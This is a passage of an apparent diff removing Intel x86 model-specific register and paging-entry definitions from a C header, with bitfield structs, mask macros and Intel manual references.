IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_MAXIMUM_PERFORMANCE(_) (((_) >> 8) & 0xFF) - - /** - * [Bits 23:16] Desired_Performance. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t desired_performance : 8; -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_BIT 16 -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_FLAG 0xFF0000 -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE_MASK 0xFF -#define IA32_HWP_REQUEST_DESIRED_PERFORMANCE(_) (((_) >> 16) & 0xFF) - - /** - * [Bits 31:24] Energy_Performance_Preference. - * - * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[10] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t energy_performance_preference : 8; -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_BIT 24 -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_FLAG 0xFF000000 -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE_MASK 0xFF -#define IA32_HWP_REQUEST_ENERGY_PERFORMANCE_PREFERENCE(_) (((_) >> 24) & 0xFF) - - /** - * [Bits 41:32] Activity_Window. - * - * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[9] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t activity_window : 10; -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_BIT 32 -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_FLAG 0x3FF00000000 -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW_MASK 0x3FF -#define IA32_HWP_REQUEST_ACTIVITY_WINDOW(_) (((_) >> 32) & 0x3FF) - - /** - * [Bit 42] Package_Control. - * - * @remarks If CPUID.06H:EAX.[7] = 1 && CPUID.06H:EAX.[11] = 1 - * @see Vol3B[14.4.4(Managing HWP)] - */ - uint64_t package_control : 1; -#define IA32_HWP_REQUEST_PACKAGE_CONTROL_BIT 42 -#define IA32_HWP_REQUEST_PACKAGE_CONTROL_FLAG 0x40000000000 -#define IA32_HWP_REQUEST_PACKAGE_CONTROL_MASK 0x01 -#define IA32_HWP_REQUEST_PACKAGE_CONTROL(_) (((_) >> 42) & 0x01) - uint64_t reserved1 : 21; - }; - - uint64_t flags; -} ia32_hwp_request_register; - - -/** - * Log bits indicating changes to Guaranteed & excursions to Minimum. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - */ -#define IA32_HWP_STATUS 0x00000777 -typedef union -{ - struct - { - /** - * [Bit 0] Guaranteed_Performance_Change. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.5(HWP Feedback)] - */ - uint64_t guaranteed_performance_change : 1; -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_BIT 0 -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_FLAG 0x01 -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE_MASK 0x01 -#define IA32_HWP_STATUS_GUARANTEED_PERFORMANCE_CHANGE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 1; - - /** - * [Bit 2] Excursion_To_Minimum. - * - * @remarks If CPUID.06H:EAX.[7] = 1 - * @see Vol3B[14.4.5(HWP Feedback)] - */ - uint64_t excursion_to_minimum : 1; -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_BIT 2 -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_FLAG 0x04 -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM_MASK 0x01 -#define IA32_HWP_STATUS_EXCURSION_TO_MINIMUM(_) (((_) >> 2) & 0x01) - uint64_t reserved2 : 61; - }; - - uint64_t flags; -} ia32_hwp_status_register; - - -/** - * x2APIC ID Register. - * - * @remarks If CPUID.01H:ECX[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @see Vol3A[10.12(EXTENDED XAPIC (X2APIC))] - */ -#define IA32_X2APIC_APICID 0x00000802 - - /** - * x2APIC Version Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_VERSION 0x00000803 - - /** - * x2APIC Task Priority Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_TPR 0x00000808 - - /** - * x2APIC Processor Priority Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_PPR 0x0000080A - - /** - * x2APIC EOI Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_EOI 0x0000080B - - /** - * x2APIC Logical Destination Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LDR 0x0000080D - - /** - * x2APIC Spurious Interrupt Vector Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_SIVR 0x0000080F - /** - * @defgroup ia32_x2apic_isr \ - * IA32_X2APIC_ISR(n) - * - * x2APIC In-Service Register Bits (n * 32 + 31):(n * 32). - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @{ - */ -#define IA32_X2APIC_ISR0 0x00000810 -#define IA32_X2APIC_ISR1 0x00000811 -#define IA32_X2APIC_ISR2 0x00000812 -#define IA32_X2APIC_ISR3 0x00000813 -#define IA32_X2APIC_ISR4 0x00000814 -#define IA32_X2APIC_ISR5 0x00000815 -#define IA32_X2APIC_ISR6 0x00000816 -#define IA32_X2APIC_ISR7 0x00000817 - /** - * @} - */ - - /** - * @defgroup ia32_x2apic_tmr \ - * IA32_X2APIC_TMR(n) - * - * x2APIC Trigger Mode Register Bits (n * 32 + 31):(n * 32). - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @{ - */ -#define IA32_X2APIC_TMR0 0x00000818 -#define IA32_X2APIC_TMR1 0x00000819 -#define IA32_X2APIC_TMR2 0x0000081A -#define IA32_X2APIC_TMR3 0x0000081B -#define IA32_X2APIC_TMR4 0x0000081C -#define IA32_X2APIC_TMR5 0x0000081D -#define IA32_X2APIC_TMR6 0x0000081E -#define IA32_X2APIC_TMR7 0x0000081F - /** - * @} - */ - - /** - * @defgroup ia32_x2apic_irr \ - * IA32_X2APIC_IRR(n) - * - * x2APIC Interrupt Request Register Bits (n * 32 + 31):(n * 32). - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - * @{ - */ -#define IA32_X2APIC_IRR0 0x00000820 -#define IA32_X2APIC_IRR1 0x00000821 -#define IA32_X2APIC_IRR2 0x00000822 -#define IA32_X2APIC_IRR3 0x00000823 -#define IA32_X2APIC_IRR4 0x00000824 -#define IA32_X2APIC_IRR5 0x00000825 -#define IA32_X2APIC_IRR6 0x00000826 -#define IA32_X2APIC_IRR7 0x00000827 - /** - * @} - */ - - - /** - * x2APIC Error Status Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_ESR 0x00000828 - - /** - * x2APIC LVT Corrected Machine Check Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_CMCI 0x0000082F - - /** - * x2APIC Interrupt Command Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_ICR 0x00000830 - - /** - * x2APIC LVT Timer Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_TIMER 0x00000832 - - /** - * x2APIC LVT Thermal Sensor Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_THERMAL 0x00000833 - - /** - * x2APIC LVT Performance Monitor Interrupt Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_PMI 0x00000834 - - /** - * x2APIC LVT LINT0 Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_LINT0 0x00000835 - - /** - * x2APIC LVT LINT1 Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_LINT1 0x00000836 - - /** - * x2APIC LVT Error Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_LVT_ERROR 0x00000837 - - /** - * x2APIC Initial Count Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_INIT_COUNT 0x00000838 - - /** - * x2APIC Current Count Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_CUR_COUNT 0x00000839 - - /** - * x2APIC Divide Configuration Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_DIV_CONF 0x0000083E - - /** - * x2APIC Self IPI Register. - * - * @remarks If CPUID.01H:ECX.[21] = 1 && IA32_APIC_BASE.[10] = 1 - */ -#define IA32_X2APIC_SELF_IPI 0x0000083F - - /** - * Silicon Debug Feature Control. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ -#define IA32_DEBUG_INTERFACE 0x00000C80 -typedef union -{ - struct - { - /** - * @brief Enable (R/W) - * - * [Bit 0] BIOS set 1 to enable Silicon debug features. Default is 0. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ - uint64_t enable : 1; -#define IA32_DEBUG_INTERFACE_ENABLE_BIT 0 -#define IA32_DEBUG_INTERFACE_ENABLE_FLAG 0x01 -#define IA32_DEBUG_INTERFACE_ENABLE_MASK 0x01 -#define IA32_DEBUG_INTERFACE_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 29; - - /** - * @brief Lock (R/W) - * - * [Bit 30] If 1, locks any further change to the MSR. The lock bit is set automatically on the first SMI assertion even if - * not explicitly set by BIOS. Default is 0. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ - uint64_t lock : 1; -#define IA32_DEBUG_INTERFACE_LOCK_BIT 30 -#define IA32_DEBUG_INTERFACE_LOCK_FLAG 0x40000000 -#define IA32_DEBUG_INTERFACE_LOCK_MASK 0x01 -#define IA32_DEBUG_INTERFACE_LOCK(_) (((_) >> 30) & 0x01) - - /** - * @brief Debug Occurred (R/O) - * - * [Bit 31] This "sticky bit" is set by hardware to indicate the status of bit 0. Default is 0. - * - * @remarks If CPUID.01H:ECX.[11] = 1 - */ - uint64_t debug_occurred : 1; -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_BIT 31 -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_FLAG 0x80000000 -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED_MASK 0x01 -#define IA32_DEBUG_INTERFACE_DEBUG_OCCURRED(_) (((_) >> 31) & 0x01) - uint64_t reserved2 : 32; - }; - - uint64_t flags; -} ia32_debug_interface_register; - - -/** - * L3 QOS Configuration. - * - * @remarks If ( CPUID.(EAX=10H, ECX=1):ECX.[2] = 1 ) - */ -#define IA32_L3_QOS_CFG 0x00000C81 -typedef union -{ - struct - { - /** - * @brief Enable (R/W) - * - * [Bit 0] Set 1 to enable L3 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. - */ - uint64_t enable : 1; -#define IA32_L3_QOS_CFG_ENABLE_BIT 0 -#define IA32_L3_QOS_CFG_ENABLE_FLAG 0x01 -#define IA32_L3_QOS_CFG_ENABLE_MASK 0x01 -#define IA32_L3_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_l3_qos_cfg_register; - - -/** - * L2 QOS Configuration. - * - * @remarks If ( CPUID.(EAX=10H, ECX=2):ECX.[2] = 1 ) - */ -#define IA32_L2_QOS_CFG 0x00000C82 -typedef union -{ - struct - { - /** - * @brief Enable (R/W) - * - * [Bit 0] Set 1 to enable L2 CAT masks and COS to operate in Code and Data Prioritization (CDP) mode. - */ - uint64_t enable : 1; -#define IA32_L2_QOS_CFG_ENABLE_BIT 0 -#define IA32_L2_QOS_CFG_ENABLE_FLAG 0x01 -#define IA32_L2_QOS_CFG_ENABLE_MASK 0x01 -#define IA32_L2_QOS_CFG_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_l2_qos_cfg_register; - - -/** - * Monitoring Event Select Register. - * - * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) - */ -#define IA32_QM_EVTSEL 0x00000C8D -typedef union -{ - struct - { - /** - * @brief Event ID - * - * [Bits 7:0] ID of a supported monitoring event to report via IA32_QM_CTR. - */ - uint64_t event_id : 8; -#define IA32_QM_EVTSEL_EVENT_ID_BIT 0 -#define IA32_QM_EVTSEL_EVENT_ID_FLAG 0xFF -#define IA32_QM_EVTSEL_EVENT_ID_MASK 0xFF -#define IA32_QM_EVTSEL_EVENT_ID(_) (((_) >> 0) & 0xFF) - uint64_t reserved1 : 24; - - /** - * @brief Resource Monitoring ID - * - * [Bits 63:32] ID for monitoring hardware to report monitored data via IA32_QM_CTR. - * - * @remarks Bits [N+31:32] N = Ceil (Log2 (CPUID.(EAX= 0FH,ECX=0H).EBX[31:0] + 1)) - */ - uint64_t resource_monitoring_id : 32; -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_BIT 32 -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF00000000 -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF -#define IA32_QM_EVTSEL_RESOURCE_MONITORING_ID(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_qm_evtsel_register; - - -/** - * Monitoring Counter Register. - * - * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[12] = 1 ) - */ -#define IA32_QM_CTR 0x00000C8E -typedef union -{ - struct - { - /** - * [Bits 61:0] Resource Monitored Data. - */ - uint64_t resource_monitored_data : 62; -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_BIT 0 -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_FLAG 0x3FFFFFFFFFFFFFFF -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA_MASK 0x3FFFFFFFFFFFFFFF -#define IA32_QM_CTR_RESOURCE_MONITORED_DATA(_) (((_) >> 0) & 0x3FFFFFFFFFFFFFFF) - - /** - * @brief Unavailable - * - * [Bit 62] If 1, indicates data for this RMID is not available or not monitored for this resource or RMID. - */ - uint64_t unavailable : 1; -#define IA32_QM_CTR_UNAVAILABLE_BIT 62 -#define IA32_QM_CTR_UNAVAILABLE_FLAG 0x4000000000000000 -#define IA32_QM_CTR_UNAVAILABLE_MASK 0x01 -#define IA32_QM_CTR_UNAVAILABLE(_) (((_) >> 62) & 0x01) - - /** - * @brief Error - * - * [Bit 63] If 1, indicates an unsupported RMID or event type was written to IA32_PQR_QM_EVTSEL. - */ - uint64_t error : 1; -#define IA32_QM_CTR_ERROR_BIT 63 -#define IA32_QM_CTR_ERROR_FLAG 0x8000000000000000 -#define IA32_QM_CTR_ERROR_MASK 0x01 -#define IA32_QM_CTR_ERROR(_) (((_) >> 63) & 0x01) - }; - - uint64_t flags; -} ia32_qm_ctr_register; - - -/** - * Resource Association Register. - * - * @remarks If ( (CPUID.(EAX=07H, ECX=0):EBX[12] = 1) or (CPUID.(EAX=07H, ECX=0):EBX[15] = 1 ) ) - */ -#define IA32_PQR_ASSOC 0x00000C8F -typedef union -{ - struct - { - /** - * @brief Resource Monitoring ID (R/W) - * - * [Bits 31:0] ID for monitoring hardware to track internal operation, e.g., memory access. - * - * @remarks Bits [N-1:0] N = Ceil (Log2 (CPUID.(EAX= 0FH, ECX=0H).EBX[31:0] +1)) 31:N Reserved - */ - uint64_t resource_monitoring_id : 32; -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_BIT 0 -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_FLAG 0xFFFFFFFF -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID_MASK 0xFFFFFFFF -#define IA32_PQR_ASSOC_RESOURCE_MONITORING_ID(_) (((_) >> 0) & 0xFFFFFFFF) - - /** - * @brief COS (R/W) - * - * [Bits 63:32] The class of service (COS) to enforce (on writes); returns the current COS when read. - * - * @remarks If ( CPUID.(EAX=07H, ECX=0):EBX.[15] = 1 ) - */ - uint64_t cos : 32; -#define IA32_PQR_ASSOC_COS_BIT 32 -#define IA32_PQR_ASSOC_COS_FLAG 0xFFFFFFFF00000000 -#define IA32_PQR_ASSOC_COS_MASK 0xFFFFFFFF -#define IA32_PQR_ASSOC_COS(_) (((_) >> 32) & 0xFFFFFFFF) - }; - - uint64_t flags; -} ia32_pqr_assoc_register; - - -/** - * Supervisor State of MPX Configuration. - * - * @remarks If (CPUID.(EAX=07H, ECX=0H):EBX[14] = 1) - */ -#define IA32_BNDCFGS 0x00000D90 -typedef union -{ - struct - { - /** - * [Bit 0] Enable Intel MPX in supervisor mode. - */ - uint64_t enable : 1; -#define IA32_BNDCFGS_ENABLE_BIT 0 -#define IA32_BNDCFGS_ENABLE_FLAG 0x01 -#define IA32_BNDCFGS_ENABLE_MASK 0x01 -#define IA32_BNDCFGS_ENABLE(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Preserve the bounds registers for near branch instructions in the absence of the BND prefix. - */ - uint64_t bnd_preserve : 1; -#define IA32_BNDCFGS_BND_PRESERVE_BIT 1 -#define IA32_BNDCFGS_BND_PRESERVE_FLAG 0x02 -#define IA32_BNDCFGS_BND_PRESERVE_MASK 0x01 -#define IA32_BNDCFGS_BND_PRESERVE(_) (((_) >> 1) & 0x01) - uint64_t reserved1 : 10; - - /** - * [Bits 63:12] Base Address of Bound Directory. - */ - uint64_t bound_directory_base_address : 52; -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_BIT 12 -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_FLAG 0xFFFFFFFFFFFFF000 -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS_MASK 0xFFFFFFFFFFFFF -#define IA32_BNDCFGS_BOUND_DIRECTORY_BASE_ADDRESS(_) (((_) >> 12) & 0xFFFFFFFFFFFFF) - }; - - uint64_t flags; -} ia32_bndcfgs_register; - - -/** - * Extended Supervisor State Mask. - * - * @remarks If ( CPUID.(0DH, 1):EAX.[3] = 1 - */ -#define IA32_XSS 0x00000DA0 -typedef union -{ - struct - { - uint64_t reserved1 : 8; - - /** - * [Bit 8] Trace Packet Configuration State. - */ - uint64_t trace_packet_configuration_state : 1; -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_BIT 8 -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_FLAG 0x100 -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE_MASK 0x01 -#define IA32_XSS_TRACE_PACKET_CONFIGURATION_STATE(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 55; - }; - - uint64_t flags; -} ia32_xss_register; - - -/** - * Package Level Enable/disable HDC. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_PKG_HDC_CTL 0x00000DB0 -typedef union -{ - struct - { - /** - * @brief HDC_Pkg_Enable (R/W) - * - * [Bit 0] Force HDC idling or wake up HDC-idled logical processors in the package. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - * @see Vol3B[14.5.2(Package level Enabling HDC)] - */ - uint64_t hdc_pkg_enable : 1; -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_BIT 0 -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_FLAG 0x01 -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE_MASK 0x01 -#define IA32_PKG_HDC_CTL_HDC_PKG_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_pkg_hdc_ctl_register; - - -/** - * Enable/disable HWP. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_PM_CTL1 0x00000DB1 -typedef union -{ - struct - { - /** - * @brief HDC_Allow_Block (R/W) - * - * [Bit 0] Allow/Block this logical processor for package level HDC control. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - * @see Vol3B[14.5.3(Logical-Processor Level HDC Control)] - */ - uint64_t hdc_allow_block : 1; -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_BIT 0 -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_FLAG 0x01 -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK_MASK 0x01 -#define IA32_PM_CTL1_HDC_ALLOW_BLOCK(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 63; - }; - - uint64_t flags; -} ia32_pm_ctl1_register; - - -/** - * Per-Logical_Processor HDC Idle Residency. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_THREAD_STALL 0x00000DB2 -typedef struct -{ - /** - * @brief Stall_Cycle_Cnt (R/W) - * - * Stalled cycles due to HDC forced idle on this logical processor. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - * @see Vol3B[14.5.4.1(IA32_THREAD_STALL)] - */ - uint64_t stall_cycle_count; -} ia32_thread_stall_register; - - -/** - * Extended Feature Enables. - * - * @remarks If CPUID.06H:EAX.[13] = 1 - */ -#define IA32_EFER 0xC0000080 -typedef union -{ - struct - { - /** - * @brief SYSCALL Enable (R/W) - * - * [Bit 0] Enables SYSCALL/SYSRET instructions in 64-bit mode. - */ - uint64_t syscall_enable : 1; -#define IA32_EFER_SYSCALL_ENABLE_BIT 0 -#define IA32_EFER_SYSCALL_ENABLE_FLAG 0x01 -#define IA32_EFER_SYSCALL_ENABLE_MASK 0x01 -#define IA32_EFER_SYSCALL_ENABLE(_) (((_) >> 0) & 0x01) - uint64_t reserved1 : 7; - - /** - * @brief IA-32e Mode Enable (R/W) - * - * [Bit 8] Enables IA-32e mode operation. - */ - uint64_t ia32e_mode_enable : 1; -#define IA32_EFER_IA32E_MODE_ENABLE_BIT 8 -#define IA32_EFER_IA32E_MODE_ENABLE_FLAG 0x100 -#define IA32_EFER_IA32E_MODE_ENABLE_MASK 0x01 -#define IA32_EFER_IA32E_MODE_ENABLE(_) (((_) >> 8) & 0x01) - uint64_t reserved2 : 1; - - /** - * @brief IA-32e Mode Active (R) - * - * [Bit 10] Indicates IA-32e mode is active when set. - */ - uint64_t ia32e_mode_active : 1; -#define IA32_EFER_IA32E_MODE_ACTIVE_BIT 10 -#define IA32_EFER_IA32E_MODE_ACTIVE_FLAG 0x400 -#define IA32_EFER_IA32E_MODE_ACTIVE_MASK 0x01 -#define IA32_EFER_IA32E_MODE_ACTIVE(_) (((_) >> 10) & 0x01) - - /** - * [Bit 11] Execute Disable Bit Enable. - */ - uint64_t execute_disable_bit_enable : 1; -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_BIT 11 -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_FLAG 0x800 -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE_MASK 0x01 -#define IA32_EFER_EXECUTE_DISABLE_BIT_ENABLE(_) (((_) >> 11) & 0x01) - uint64_t reserved3 : 52; - }; - - uint64_t flags; -} ia32_efer_register; - - -/** - * System Call Target Address. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_STAR 0xC0000081 - - /** - * @brief IA-32e Mode System Call Target Address (R/W) - * - * Target RIP for the called procedure when SYSCALL is executed in 64-bit mode. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_LSTAR 0xC0000082 - - /** - * @brief IA-32e Mode System Call Target Address (R/W) - * - * Not used, as the SYSCALL instruction is not recognized in compatibility mode. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_CSTAR 0xC0000083 - - /** - * System Call Flag Mask. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_FMASK 0xC0000084 - - /** - * Map of BASE Address of FS. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_FS_BASE 0xC0000100 - - /** - * Map of BASE Address of GS. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_GS_BASE 0xC0000101 - - /** - * Swap Target of BASE Address of GS. - * - * @remarks If CPUID.80000001:EDX.[29] = 1 - */ -#define IA32_KERNEL_GS_BASE 0xC0000102 - - /** - * Auxiliary TSC. - * - * @remarks If CPUID.80000001H: EDX[27] = 1 or CPUID.(EAX=7,ECX=0):ECX[bit 22] = 1 - */ -#define IA32_TSC_AUX 0xC0000103 -typedef union -{ - struct - { - /** - * [Bits 31:0] AUX. Auxiliary signature of TSC. - */ - uint64_t tsc_auxiliary_signature : 32; -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_BIT 0 -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_FLAG 0xFFFFFFFF -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE_MASK 0xFFFFFFFF -#define IA32_TSC_AUX_TSC_AUXILIARY_SIGNATURE(_) (((_) >> 0) & 0xFFFFFFFF) - uint64_t reserved1 : 32; - }; - - uint64_t flags; -} ia32_tsc_aux_register; - -/** - * @} - */ - - /** - * @defgroup paging \ - * Paging - * @{ - */ - /** - * @defgroup paging_32 \ - * 32-Bit Paging - * - * A logical processor uses 32-bit paging if CR0.PG = 1 and CR4.PAE = 0. 32-bit paging translates 32-bit linear addresses - * to 40-bit physical addresses. Although 40 bits corresponds to 1 TByte, linear addresses are limited to 32 bits; at most - * 4 GBytes of linear-address space may be accessed at any given time. - * 32-bit paging uses a hierarchy of paging structures to produce a translation for a linear address. CR3 is used to locate - * the first paging-structure, the page directory. 32-bit paging may map linear addresses to either 4-KByte pages or - * 4-MByte pages. - * - * @see Vol3A[4.5(4-LEVEL PAGING)] (reference) - * @{ - */ - /** - * @brief Format of a 32-Bit Page-Directory Entry that Maps a 4-MByte Page - */ -typedef union -{ - struct - { - /** - * [Bit 0] Present; must be 1 to map a 4-MByte page. - */ - uint32_t present : 1; -#define PDE_4MB_32_PRESENT_BIT 0 -#define PDE_4MB_32_PRESENT_FLAG 0x01 -#define PDE_4MB_32_PRESENT_MASK 0x01 -#define PDE_4MB_32_PRESENT(_) (((_) >> 0) & 0x01) - - /** - * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t write : 1; -#define PDE_4MB_32_WRITE_BIT 1 -#define PDE_4MB_32_WRITE_FLAG 0x02 -#define PDE_4MB_32_WRITE_MASK 0x01 -#define PDE_4MB_32_WRITE(_) (((_) >> 1) & 0x01) - - /** - * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.6(Access Rights)] - */ - uint32_t supervisor : 1; -#define PDE_4MB_32_SUPERVISOR_BIT 2 -#define PDE_4MB_32_SUPERVISOR_FLAG 0x04 -#define PDE_4MB_32_SUPERVISOR_MASK 0x01 -#define PDE_4MB_32_SUPERVISOR(_) (((_) >> 2) & 0x01) - - /** - * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_write_through : 1; -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_BIT 3 -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 -#define PDE_4MB_32_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) - - /** - * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-MByte page referenced by - * this entry. - * - * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] - */ - uint32_t page_level_cache_disable : 1; -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_BIT 4 -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 -#define PDE_4MB_32_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) - - /** - * [Bit 5] Accessed; indicates whether software has accessed the 4-MByte page referenced by this entry. - * - * @see Vol3A[4.8(Accessed and Dirty Flags)] - */ - uint32_t accessed : 1; -#define PDE_4MB_32_ACCESSED_BIT 5 -#define PDE_4MB_32_ACCESSED_FLAG 0x20 -#define PDE_4MB_32_ACCESSED_MASK 0x01 -#define 